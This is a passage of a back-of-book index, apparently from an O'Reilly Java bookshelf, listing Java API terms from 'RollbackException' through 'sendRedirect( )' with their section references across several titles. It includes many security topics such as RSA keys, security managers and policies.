RollbackException class: 28. The javax.transaction Package, Java Enterprise in a Nutshell
root cause exception, specifying (Servlet API Version 2.1): 5.10. The Servlet API 2.1, Java Enterprise in a Nutshell
root (CORBA naming directory): 4.1.3. The Naming Service, Java Enterprise in a Nutshell
root directories, listing: 11. The java.io Package, Java in a Nutshell
root directory of server: 4.2.1. Getting Information About the Server, Java Servlet Programming
root element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
10.4 The Descriptor's Body, Enterprise JavaBeans
root object class (CORBA): 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
root packages (IDL/Java mapping): 12. Java IDL Tools, Java Enterprise in a Nutshell
RootLayout class: 23. The javax.swing Package, Java Foundation Classes
RootPaneContainer interface: 2.4 Containers and Containment, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
rotate( )
AffineTransform class: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.11.1 Setting Up an AffineTransform, Java Foundation Classes
Graphics2D class: 4.3 The Coordinate System, Java Foundation Classes
4.3 The Coordinate System, Java Foundation Classes
RoundRectangle2D class: 16. The java.awt.geom Package, Java Foundation Classes
RowMapper interface: 34. The javax.swing.tree Package, Java Foundation Classes
rows
insertions, preventing: 2.10. Transactions, Java Enterprise in a Nutshell
navigating (ResultSet): 2.6. Results, Java Enterprise in a Nutshell
ResultSet
accessing: 2.13.1. Results Handling, Java Enterprise in a Nutshell
editing data, inserting or deleting: 2.13.1. Results Handling, Java Enterprise in a Nutshell
RowSet interface: 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetEvent class: 27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetInternal interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetListener interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetMetaData interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetReader interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
RowSetWriter interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
RPCs (remote procedure calls): 1.5.1 TP Monitors, Enterprise JavaBeans
RSA and DSA public and private keys: 20. The java.security.interfaces Package, Java in a Nutshell
representing and encoding: 21. The java.security.spec Package, Java in a Nutshell
RSA encryption: 13.6.3. SSL Encryption, Java Security
RSAPrivateKeyCrtSpec class: 13.4.2.1. Secret key specifications, Java Security
RSAPrivateKeySpec class: 13.4.2.1. Secret key specifications, Java Security
D.4. Package java.security.spec, Java Security
RSAPublicKey interface: D.7. Package javax.crypto.spec, Java Security
RSAPublicKeySpec class: 13.4.2.1. Secret key specifications, Java Security
D.4. Package java.security.spec, Java Security
RSA public key encryption: 5.7.2.1. Encryption techniques, Java Distributed Computing
RSAKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
RSAKeyGenParameterSpec interface: 21. The java.security.spec Package, Java in a Nutshell
RSAKeyPairGenerator class: 5.4.3. Keys in the Java Security API, Java Distributed Computing
RSAPrivateCrtKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
RSAPrivateCrtKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
RSAPrivateKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
RSAPrivateKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
RSAPublicKey interface: 20. The java.security.interfaces Package, Java in a Nutshell
20. The java.security.interfaces Package, Java in a Nutshell
RSAPublicKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
RTCP (Real-Time Control Protocol): 8.2.3. Levels of Monitoring and Management, Java Distributed Computing
RTF (Rich Text Format): 3.21 JTextComponent and HTML Text Display, Java Foundation Classes
33. The javax.swing.text.rtf Package, Java Foundation Classes
RTFEditorKit class: 33. The javax.swing.text.rtf Package, Java Foundation Classes
RTInputStream class (example): 8.4.1. Raw Data Monitoring, Java Distributed Computing
RTOutputStream class (example): 8.4.1. Raw Data Monitoring, Java Distributed Computing
RTP (Real-Time Protocol): 8.2.3. Levels of Monitoring and Management, Java Distributed Computing
RuleBasedCollator class: 22. The java.text Package, Java in a Nutshell
rules: 6.2. JavaBeans Conventions, Java in a Nutshell
(see also conventions)
pure Java: 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
run( ): 1.3.7. Multithreading Support, Java Distributed Computing
4.1. Thread and Runnable, Java Distributed Computing
run-as-identity: 7.7.2. Access-Control Deployment Attributes, Java Enterprise in a Nutshell
run-as-mode: 7.7.2. Access-Control Deployment Attributes, Java Enterprise in a Nutshell
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
RunElement class: 31. The javax.swing.text.html Package, Java Foundation Classes
runFinalization( ): 12. The java.lang Package, Java in a Nutshell
System class: 12. The java.lang Package, Java in a Nutshell
Runnable interface: 1.3.7. Multithreading Support, Java Distributed Computing
4.1. Thread and Runnable, Java Distributed Computing
12. The java.lang Package, Java in a Nutshell
for asynchronous message passing: 6.3.2. A Basic Message Processor, Java Distributed Computing
implementing: 4.2.1. Implementing Runnable, Java Distributed Computing
Runnable method: 4.8. Threads, Java in a Nutshell
RunnableSolver class (example): 4.2.1. Implementing Runnable, Java Distributed Computing
RunnableSolverClient class (example): 4.2.1. Implementing Runnable, Java Distributed Computing
RunnableSolveServer class (example): 4.2.1. Implementing Runnable, Java Distributed Computing
running Java applications: 1.4. Running a Java Application, Java Security
JavaRunner for (example): 1.4. Running a Java Application, Java Security
Launcher for (example): 1.4.2. Built-in Java Application Security, Java Security
running programs: 1.3.1. Compiling and Running the Program, Java in a Nutshell
runtime behaviors
customizing with deployment descriptors: 2.1.2 Deployment Descriptors and JAR Files, Enterprise JavaBeans
modifying at deployment in server-side components: 1.1.2 Server-Side Components, Enterprise JavaBeans
runtime bytecode verification: 2.2.3. Runtime Enforcement, Java Security
Runtime class: 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
runtime environment
Java RMI Registry: 3.6.3. The RMI Registry, Java Distributed Computing
loading class definitions: 2.3. The ClassLoader, Java Distributed Computing
object serialization versus: 3.6.6. Serializing Objects, Java Distributed Computing
managing threads: 4.3. Managing Threads at Runtime, Java Distributed Computing
remote objects and: 3.3. Features of Distributed Object Systems, Java Distributed Computing
security and: 1.3.6.1. Runtime environment, Java Distributed Computing
runtime exceptions: 6.2.2 Exception Handling, Enterprise JavaBeans
Runtime interface: 2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
RuntimeException: 12. The java.lang Package, Java in a Nutshell
Runtime.exec( ) method, conventions/rules for: 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
RuntimePermission class: 12. The java.lang Package, Java in a Nutshell
5.2.2. Permissions of the Java API, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
D.8. Miscellaneous Packages, Java Security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

safety of servlets: 1.3.4. Safety, Java Servlet Programming
sameFile( ): 16. The java.net Package, Java in a Nutshell
URL class: 16. The java.net Package, Java in a Nutshell
SampleModel class: 18. The java.awt.image Package, Java Foundation Classes
sandboxes 5.4.1. Java 1.0: The Sandbox, Java in a Nutshell
description of sandbox model: 1.2. The Java Sandbox, Java Security
for servlets: 8.4.1. The Servlet Sandbox, Java Servlet Programming
signed classes and: 12.2. Signed Classes, Java Security
specifying as application argument: 1.4.2. Built-in Java Application Security, Java Security
save( ) (Properties): 23. The java.util Package, Java in a Nutshell
saving state of servlets: 11.1.2. Saving the State of the Currently Loaded Servlets, Java Servlet Programming
scalar database functions: 2.12. Escape Sequences, Java Enterprise in a Nutshell
scale( )
AffineTransform class: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.11.1 Setting Up an AffineTransform, Java Foundation Classes
Graphics2D class: 4.3 The Coordinate System, Java Foundation Classes
SchedDbaseImpl class (example): 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
SchedResource class (example): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
data caching and: 7.2.5. Data Caching Issues, Java Distributed Computing
message-passing version: 7.2.6.1. Message passing with the data server, Java Distributed Computing
RMI-enabled version: 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
SchedResourceImpl class (example): 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
SchedTask class (example): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
schedule( ) (Timer): 23. The java.util Package, Java in a Nutshell
scheduleAtFixedRate( ) (Timer): 23. The java.util Package, Java in a Nutshell
scheduledExecutionTime( ) (TimerTask): 23. The java.util Package, Java in a Nutshell
scheduling system (example): 7.2.3. A Scheduling Example, Java Distributed Computing
data caching: 7.2.5. Data Caching Issues, Java Distributed Computing
with JDBC-enabled data objects: 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
schemas (SQL)
commands, manipulating: 8.3. Schema Manipulation Commands, Java Enterprise in a Nutshell
SQL catalogs: 8.1. Relational Databases, Java Enterprise in a Nutshell
SchemaViolationException class: 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
SCOPE attribute: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
scope
vs. inheritance for member classes: 3.10.4. Scope Versus Inheritance for Member Classes, Java in a Nutshell
of local classes: 3.11.4. Scope of a Local Class, Java in a Nutshell
of transactions: 8.2.1 Transaction Scope, Enterprise JavaBeans
8.2.1 Transaction Scope, Enterprise JavaBeans
(see also propagation of transactions)
scope (searches), setting: 6.12.3. Search Controls, Java Enterprise in a Nutshell
scopes (ILD naming)
interfaces, inherited: 10.10.3.2. Constant, type, and exception inheritance, Java Enterprise in a Nutshell
Scrollable interface: 23. The javax.swing Package, Java Foundation Classes
ScrollBar class: 2.2 Components, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
ScrollbarPeer class: 20. The java.awt.peer Package, Java Foundation Classes
ScrollBarUI class: 28. The javax.swing.plaf Package, Java Foundation Classes
scrolling
AWT: 2.2 Components, Java Foundation Classes
2.4 Containers and Containment, Java Foundation Classes
drag-and-drop: 12. The java.awt.dnd Package, Java Foundation Classes
result sets: 2.13.1. Results Handling, Java Enterprise in a Nutshell
2.13.1. Results Handling, Java Enterprise in a Nutshell
ScrollBar class: 9. The java.awt Package, Java Foundation Classes
ScrollPane class: 9. The java.awt Package, Java Foundation Classes
support information (DatabaseMetaData): 2.13.1. Results Handling, Java Enterprise in a Nutshell
Swing: 2.2 Components, Java Foundation Classes
2.4 Containers and Containment, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
ScrollPane class: 2.4 Containers and Containment, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
ScrollPaneConstants interface: 23. The javax.swing Package, Java Foundation Classes
ScrollPaneLayout class: 2.5 Layout Management, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
ScrollPanePeer class: 20. The java.awt.peer Package, Java Foundation Classes
ScrollPaneUI class: 28. The javax.swing.plaf Package, Java Foundation Classes
scrollPathToVisible( ) (JTree): 23. The javax.swing Package, Java Foundation Classes
SDK (Software Development Kit): 1.1.4. Versions of Java, Java in a Nutshell
downloads: 1.3.1. Compiling and Running the Program, Java in a Nutshell
tools: 8. Java Development Tools, Java in a Nutshell
sealed classes: 13.8. Sealed Objects, Java Security
D.5. Package javax.crypto, Java Security
SealedObject class: 4.14. Cryptography, Java in a Nutshell
26. The javax.crypto Package, Java in a Nutshell
13.8. Sealed Objects, Java Security
D.5. Package javax.crypto, Java Security
search( )
DirContext interface: 6.12. Searching a Directory, Java Enterprise in a Nutshell
23. The javax.naming.directory Package, Java Enterprise in a Nutshell
NamingShell class: 6.12.4. A Search Command, Java Enterprise in a Nutshell
search, case-insensitive: 13.3.1. Improving Deblink with Regular Expressions, Java Servlet Programming
search( ) (DirContext): 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
SearchControls class: 6.12.3. Search Controls, Java Enterprise in a Nutshell
6.12.3. Search Controls, Java Enterprise in a Nutshell
23. The javax.naming.directory Package, Java Enterprise in a Nutshell
searching
command: 6.12.4. A Search Command, Java Enterprise in a Nutshell
controls: 6.12.3. Search Controls, Java Enterprise in a Nutshell
directories: 6.12. Searching a Directory, Java Enterprise in a Nutshell
filters: 6.12.1. Search Criteria, Java Enterprise in a Nutshell
filter: 6.12.4. A Search Command, Java Enterprise in a Nutshell
filters
logical operators, combining with: 6.12.1. Search Criteria, Java Enterprise in a Nutshell
using: 6.12.1. Search Criteria, Java Enterprise in a Nutshell
results: 6.12.2. Search Results, Java Enterprise in a Nutshell
scope, setting: 6.12.3. Search Controls, Java Enterprise in a Nutshell
searching arrays: 4.5. Arrays, Java in a Nutshell
SearchResult class: 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
secret keys: 5.4.1. Secret Keys, Java Distributed Computing
7.3.2. Cryptographic Keys, Java Security
13.3.1. Secret Keys, Java Security
engines for: 13.4. Secret Key Engines, Java Security
KeyGenerator class: 13.2. The Sun Security Provider in the JCE, Java Security
13.4.1. The KeyGenerator Class, Java Security
D.5. Package javax.crypto, Java Security
KeyGeneratorSpi class: D.5. Package javax.crypto, Java Security
SecretKey class: D.5. Package javax.crypto, Java Security
SecretKeyFactory class: 13.2. The Sun Security Provider in the JCE, Java Security
13.2. The Sun Security Provider in the JCE, Java Security
13.4.2. The SecretKeyFactory Class, Java Security
D.5. Package javax.crypto, Java Security
SecretKeyFactorySpi class: 13.4.2.2. The secret key factory SPI, Java Security
D.5. Package javax.crypto, Java Security
SecretKey class: 5.4.3. Keys in the Java Security API, Java Distributed Computing
SecretKey interface: 4.14. Cryptography, Java in a Nutshell
26. The javax.crypto Package, Java in a Nutshell
SecretKeyFactory class: 26. The javax.crypto Package, Java in a Nutshell
SecretKeyFactorySpi class: 26. The javax.crypto Package, Java in a Nutshell
SecretKeySpec class: 28. The javax.crypto.spec Package, Java in a Nutshell
SectionElement class: 30. The javax.swing.text Package, Java Foundation Classes
secure communications: 3.2.6 Security, Enterprise JavaBeans
EJB servers, support for: 3.2.6 Security, Enterprise JavaBeans
secure connections: 4.4.7. How It Was Requested, Java Servlet Programming
secure hash (see message digests)
secure message digests: 9.1.1. Secure Message Digests, Java Security
Secure Socket Layer (SSL): 5.7.3.1. Secure Socket Layer (SSL), Java Distributed Computing
4.4.7. How It Was Requested, Java Servlet Programming
7.1.3. Java's Role in Authentication, Java Security
13.6.3. SSL Encryption, Java Security
SecureAgent client (example): 5.6.2. Back to Our Credit Agent, Java Distributed Computing
SecureClassLoader class: 17. The java.security Package, Java in a Nutshell
3.2.4. The Secure Class Loader, Java Security
5.1. The CodeSource Class, Java Security
D.1. Package java.security, Java Security
implementing: 3.4.2. Implementing the SecureClassLoader Class, Java Security
SecureRandom class: 5.4.3. Keys in the Java Security API, Java Distributed Computing
17. The java.security Package, Java in a Nutshell
17. The java.security Package, Java in a Nutshell
D.1. Package java.security, Java Security
SecureRandomSpi class: 17. The java.security Package, Java in a Nutshell
security: 1.2.4. Security Issues, Java Distributed Computing
1.3.6. Security, Java Distributed Computing
5.1. Security Issues and Concerns, Java Distributed Computing
3.2.6 Security, Enterprise JavaBeans
1.2.2. Security, Java in a Nutshell
4.13. Security, Java in a Nutshell
5. Java Security, Java in a Nutshell
access control: 20. The javax.ejb.deployment Package, Java Enterprise in a Nutshell
access control lists (ACLs), working with: 18. The java.security.acl Package, Java in a Nutshell
access controller: 8.4.3. Access Controllers, Java Servlet Programming
AccessControlEntry class: A.2.1 AccessControlEntry class, Enterprise JavaBeans
applets: 7.3 Applet Security, Java Foundation Classes
architecture: 5.1. Security Risks, Java in a Nutshell
aspects of, protecting: 4.3.7. Methods Protecting Security Aspects, Java Security
assembly-descriptor element: 10.5 Describing Beans, Enterprise JavaBeans
authentication (see authentication)
Base64
decoder: 8.1.2. Custom Authorization, Java Servlet Programming
encoding: 8.1. HTTP Authentication, Java Servlet Programming
RFC 1521: 8.1.2. Custom Authorization, Java Servlet Programming
user name and password in header: 8.1.2. Custom Authorization, Java Servlet Programming
bugs: C.1. Security Bugs, Java Security
built into applications: 1.4.2. Built-in Java Application Security, Java Security
certificate authorities
Entrust Technologies: 8.2. Digital Certificates, Java Servlet Programming
Keywitness: 8.2. Digital Certificates, Java Servlet Programming
Thawte Consulting: 8.2. Digital Certificates, Java Servlet Programming
VeriSign: 4.4.10. Extra Attributes, Java Servlet Programming
8.2. Digital Certificates, Java Servlet Programming
8.3.1. SSL Client Authentication, Java Servlet Programming
certificates, working with: 19. The java.security.cert Package, Java in a Nutshell
certification (see certification)
CGI concerns: 8.4. Running Servlets Securely, Java Servlet Programming
class loaders and: 3.1. Security and the Class Loader, Java Security
classes, loading remote: 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
CORBA attempt to standardize: 1.6.2 EJB and CORBA CTMs, Enterprise JavaBeans
CORBA policy services: 4. Java IDL, Java Enterprise in a Nutshell
cryptography (see cryptography)
default: 5.5.3. Security for System Administrators, Java in a Nutshell
definition of: 1.1. What Is Security?, Java Security
development object systems and: 3.3.6. Security, Java Distributed Computing
digital certificates: 8.2. Digital Certificates, Java Servlet Programming
DSA and RSA public and private key representations: 21. The java.security.spec Package, Java in a Nutshell
EJB 1.1, changes in: D.5 Security, Enterprise JavaBeans
EJB containers: 7.7.2. Access-Control Deployment Attributes, Java Enterprise in a Nutshell
EJBContext interface: A.1.3 EJBContext interface , Enterprise JavaBeans
EJB/JNDI server interactions: 7.8.1. Finding Home Interfaces Through JNDI, Java Enterprise in a Nutshell
encryption (see encryption)
encryption exportation laws: 13.1. Export Restrictions, Java Security
enforcing Java language rules: 2.2. Enforcement of the Java Language Rules, Java Security
engines for (see engines, security)
file access: 4.3.2. Methods Relating to File Access, Java Security
general protocols for: 5.7.3. General Security Protocols, Java Distributed Computing
GeneralSecurityException: 17. The java.security Package, Java in a Nutshell
HTTPS connections (cookies): 5.7. Cookies, Java Enterprise in a Nutshell
interfaces package: 20. The java.security.interfaces Package, Java in a Nutshell
jarsigner tool: A.2. The jarsigner Tool, Java Security
Java API for (see Java Security API)
Java features: 5.7. When Things Go Wrong, Java Servlet Programming
Java language constructs for: 2.1. Java Language Security Constructs, Java Security
java.policy files, administering by hand: A.4.2. The java.policy File, Java Security
java.security file: 5.3.1. The Default Policy, Java Security
administering by hand: A.4.1. The java.security File, Java Security
code of (Java 1.2): 5.3.1. The Default Policy, Java Security
java.security package: 17. The java.security Package, Java in a Nutshell
JMS: 21. The javax.jms Package, Java Enterprise in a Nutshell
keys (see also key, cryptographic)
11.1. Overview of Key Management, Java Security
keytool utility: A.1. The keytool, Java Security
naming exceptions: 22. The javax.naming Package, Java Enterprise in a Nutshell
NetPermission class: 16. The java.net Package, Java in a Nutshell
object serialization and: 2.1.1. Object Serialization and Memory Integrity, Java Security
operating system and: 1.4. Running a Java Application, Java Security
packets, sending/receiving: 16. The java.net Package, Java in a Nutshell
permission to access files: 11. The java.io Package, Java in a Nutshell
permission types: 8.4.2. Fine-grained Control, Java Servlet Programming
policies, overriding: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
policytool tool: A.3. The policytool, Java Security
protection domains: 5.4. Protection Domains, Java Security
public-key cryptography: 8.2. Digital Certificates, Java Servlet Programming
ReflectPermission class: 14. The java.lang.reflect Package, Java in a Nutshell
remote objects, exporting: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
requirements: 8. Security, Java Servlet Programming
resources for further reading: C. Security Resources, Java Security
risks: 5.1. Security Risks, Java in a Nutshell
RMI: 13. The java.rmi Package, Java Enterprise in a Nutshell
RMI security manager: 3.6.5. Registering and Using a Remote Object, Java Distributed Computing
runAs identity: 3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
RunTimePermission class: 12. The java.lang Package, Java in a Nutshell
Security class: 17. The java.security Package, Java in a Nutshell
Security Service (CORBA): B.3. Security Service, Java Distributed Computing
SecurityException: 12. The java.lang Package, Java in a Nutshell
SecurityManager class: 12. The java.lang Package, Java in a Nutshell
SecurityPermission class: 17. The java.security Package, Java in a Nutshell
servlets: 5.2.7. Security, Java Enterprise in a Nutshell
session IDs, exposing: 5.8.2. Session Contexts, Java Enterprise in a Nutshell
setting attributes for: 4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor, Enterprise JavaBeans
socket permissions: 16. The java.net Package, Java in a Nutshell
Swing: 2.2 Components, Java Foundation Classes
3.21 JTextComponent and HTML Text Display, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
system properties, granting access to: 23. The java.util Package, Java in a Nutshell
threats to (see threats)
tool for policy configuration files: 8. Java Development Tools, Java in a Nutshell
URLClassLoader class: 16. The java.net Package, Java in a Nutshell
users: 5.5. Security for Everyone, Java in a Nutshell
WWW Security FAQ, web site for information: 8.4. Running Servlets Securely, Java Servlet Programming
see also authorization and authentication: 8. Security, Java Servlet Programming
Security class: 8.1.1. Components of the Architecture, Java Security
8.3. The Security Class, Java Security
D.1. Package java.security, Java Security
security manager and: 8.3.1. The Security Class and the Security Manager, Java Security
security exceptions: 4.1.1. Security Managers and the Java API, Java Security
4.1.1. Security Managers and the Java API, Java Security
security identity: 3.2.6 Security, Enterprise JavaBeans
3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
Principle objects: 3.2.6.1 EJB 1.1: Role-driven access control, Enterprise JavaBeans
security managers: 1.3.1. Anatomy of a Java Application, Java Security
8.4.1. The Servlet Sandbox, Java Servlet Programming
4.1. Overview of the Security Manager, Java Security
access controller and: 5. The Access Controller, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
asking information of/for class loader: 6.2. Security Managers and the Class Loader, Java Security
class loaders and: 3.1.1. Class Loaders and Security Enforcement, Java Security
3.2. Anatomy of a Class Loader, Java Security
custom, when to write: 6. Implementing Security Policies, Java Security
file-access methods: 4.3.2. Methods Relating to File Access, Java Security
Identity class and: B.1.1.3. The Identity class and the security manager, Java Security
identity scopes and: B.2.3. IdentityScope and the Security Manager, Java Security
Java API and: 4.1.1. Security Managers and the Java API, Java Security
JavaRunner program with (example): 6.4.1. The Secure JavaRunner Program, Java Security
network-access methods: 4.3.3. Methods Relating to Network Access, Java Security
null: 6.3.7.2. A complete 1.1 security manager, Java Security
protected instance variables: 6.1.2. Protected Instance Variables in the Security Manager, Java Security
protected methods of: 6.1. Protected Methods of the Security Manager, Java Security
protecting JVM: 4.3.4. Methods Protecting the Java Virtual Machine, Java Security
protecting security aspects: 4.3.7. Methods Protecting Security Aspects, Java Security
protecting system resources: 4.3.6. Methods Protecting System Resources, Java Security
protecting threads: 4.3.5. Methods Protecting Program Threads, Java Security
for RMI server: 6.3.7.1. The RMI security manager, Java Security
RMISecurityManager class: 6.3.7.1. The RMI security manager, Java Security
D.8. Miscellaneous Packages, Java Security
Security class and: 8.3.1. The Security Class and the Security Manager, Java Security
setting: 4.3.1. Setting a Security Manager, Java Security
signed JAR files and: 12.2.2. The Signed JAR File and Security Policies, Java Security
signers and: B.1.2.3. Signers and the security manager, Java Security
testing: 6.1.1. The Class Loader Depth, Java Security
trusted vs. untrusted classes: 4.2. Trusted and Untrusted Classes, Java Security
security package (java.security): 1.3.1. Anatomy of a Java Application, Java Security
permissions to use: 5.2.2. Permissions of the Java API, Java Security
quick reference: D.1. Package java.security, Java Security
security providers and: 8.1.1. Components of the Architecture, Java Security
security policy: 5.3. The Policy Class, Java Security
default: 5.3.1. The Default Policy, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
for file access methods: 6.3.7.3. Implementing the file access methods, Java Security
implementing
from threads: 6.3.4. Implementing Thread Security, Java Security
in class loader: 3.4.3. Implementing Security Policies in the Class Loader, Java Security
network access: 6.3.2. Implementing Network Access, Java Security
in Java 1.2: 6.3.6. Establishing a Security Policy in 1.2, Java Security
JavaRunner program and (example): 6.4.1. The Secure JavaRunner Program, Java Security
Launcher application and (example): 6.4.2. The Secure Java Launcher, Java Security
for networks, threads, packages: 6.3.7.4. Implementing network, thread, and package access, Java Security
operating system and: 1.4. Running a Java Application, Java Security
package access: 6.3.5. Implementing Package Access, Java Security
Policy class: D.1. Package java.security, Java Security
policy entries: 5.3.1. The Default Policy, Java Security
PolicyFile class: 5.3. The Policy Class, Java Security
reading from URLs: 5.3.1. The Default Policy, Java Security
remote classes, loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
setting the security manager: 4.3.1. Setting a Security Manager, Java Security
signed JAR files: 12.2.2. The Signed JAR File and Security Policies, Java Security
utility classes for implementing: 6.3.1. Utility Classes, Java Security
security providers: 8. Security Providers, Java Security
adding: 8.1.2. Choosing a Security Provider, Java Security
8.3. The Security Class, Java Security
architecture of: 8.1. The Architecture of Security Providers, Java Security
interface for (SPI): 8.4. The Architecture of Engine Classes, Java Security
java.security and: 8.1.1. Components of the Architecture, Java Security
for keystore objects: 11.3. A Key Management Example, Java Security
listing for virtual machine: 8.3. The Security Class, Java Security
properties (associations) for: 8.2.2. Implementing the Provider Class, Java Security
Provider class: 8.1.1. Components of the Architecture, Java Security
8.2. The Provider Class, Java Security
D.1. Package java.security, Java Security
Sun JCE: 13.2. The Sun Security Provider in the JCE, Java Security
third-party, list of: C.2. Third-Party Security Providers, Java Security
translate keys between: 10.3.1. Using the KeyFactory class, Java Security
security restrictions, avoiding with HTML: 11.3 Web Components and EJB, Enterprise JavaBeans
security-role element in assembly-descriptor: 10.6 Describing Bean Assembly, Enterprise JavaBeans
10.6.2 Specifying Security Roles and Method Permissions, Enterprise JavaBeans
security-role-ref element: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
10.5.6 Security Roles, Enterprise JavaBeans
security roles: 3.2.6.1 EJB 1.1: Role-driven access control, Enterprise JavaBeans
assembly-descriptor element: 4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
clients, identifying by: 6.2.4 EJB 1.1: EJBContext, Enterprise JavaBeans
6.2.5 EJB 1.0: EJBContext, Enterprise JavaBeans
mapping to methods in remote and home interfaces: 10.6.2.1 Assigning roles to methods, Enterprise JavaBeans
Security Service (CORBA): 11.2. Security Service, Java Enterprise in a Nutshell
11.11. Licensing Service, Java Enterprise in a Nutshell
SecurityException class: 4.1.1. Security Managers and the Java API, Java Security
4.1.1. Security Managers and the Java API, Java Security
SecurityManager class: 5.4.1. Java 1.0: The Sandbox, Java in a Nutshell
5.4.3. Java 1.2: Permissions and Policies, Java in a Nutshell
4.1.1. Security Managers and the Java API, Java Security
6.3.6. Establishing a Security Policy in 1.2, Java Security
D.8. Miscellaneous Packages, Java Security
8.4.1. The Servlet Sandbox, Java Servlet Programming
implementing in Java 1.2: 6.3.6. Establishing a Security Policy in 1.2, Java Security
RMISecurityManager class: 6.3.7.1. The RMI security manager, Java Security
D.8. Miscellaneous Packages, Java Security
SecurityPermission class: 5.2.2. Permissions of the Java API, Java Security
D.1. Package java.security, Java Security
SECURITY_PRINCIPAL property: 7.8.1. Finding Home Interfaces Through JNDI, Java Enterprise in a Nutshell
@see doc-comment tag: 7.3.2. Doc-Comment Tags, Java in a Nutshell
7.3.2. Doc-Comment Tags, Java in a Nutshell
seek( ): 11. The java.io Package, Java in a Nutshell
seek( ) (DynAny): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
Segment class: 30. The javax.swing.text Package, Java Foundation Classes
SELECT statement: 9.1. Relational Databases, Java Servlet Programming
selectionForKey( ) (KeySelectionManager): 23. The javax.swing Package, Java Foundation Classes
self-reflection: 4.7. Types, Reflection, and Dynamic Loading, Java in a Nutshell
-selfcert option (keystore): A.1.4. Modifying Keystore Entries, Java Security
semicolon (;)
in program lines: 1.3.1. Compiling and Running the Program, Java in a Nutshell
separating statements: 1.3.2.3. Defining a method, Java in a Nutshell
semicolons (IDL vs. Java): 4.2.1.1. Modules, Java Enterprise in a Nutshell
send( )
Collaborator interface: 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
DatagramSocket class: 16. The java.net Package, Java in a Nutshell
Mediator interface: 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
MulticastSocket class: 2.1.3. Multicast Sockets, Java Distributed Computing
16. The java.net Package, Java in a Nutshell
RMICollaboratorImpl class (example): 9.3.2. Collaborating with RMI, Java Distributed Computing
send( ) (QueueSender): 21. The javax.jms Package, Java Enterprise in a Nutshell
send_deferred( ) (Request): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
sendError( ) 5.2.4. Servlet Responses, Java Enterprise in a Nutshell
5.2.6.1. Status codes, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell
5.5.1. Setting a Status Code, Java Servlet Programming
5.7.1. Status Codes, Java Servlet Programming
sendEvent( ): 6.6.2. Distributed Events, Java Distributed Computing
sendMsg( ): 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
send_oneway( )(Request): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
sendPostMessage( ) method: 10.2.3.3. Posting a serialized object, Java Servlet Programming
sendRedirect( ): 26. The javax.servlet.http Package, Java Enterprise in a Nutshell
5.6.2. Redirecting a Request, Java Servlet Programming
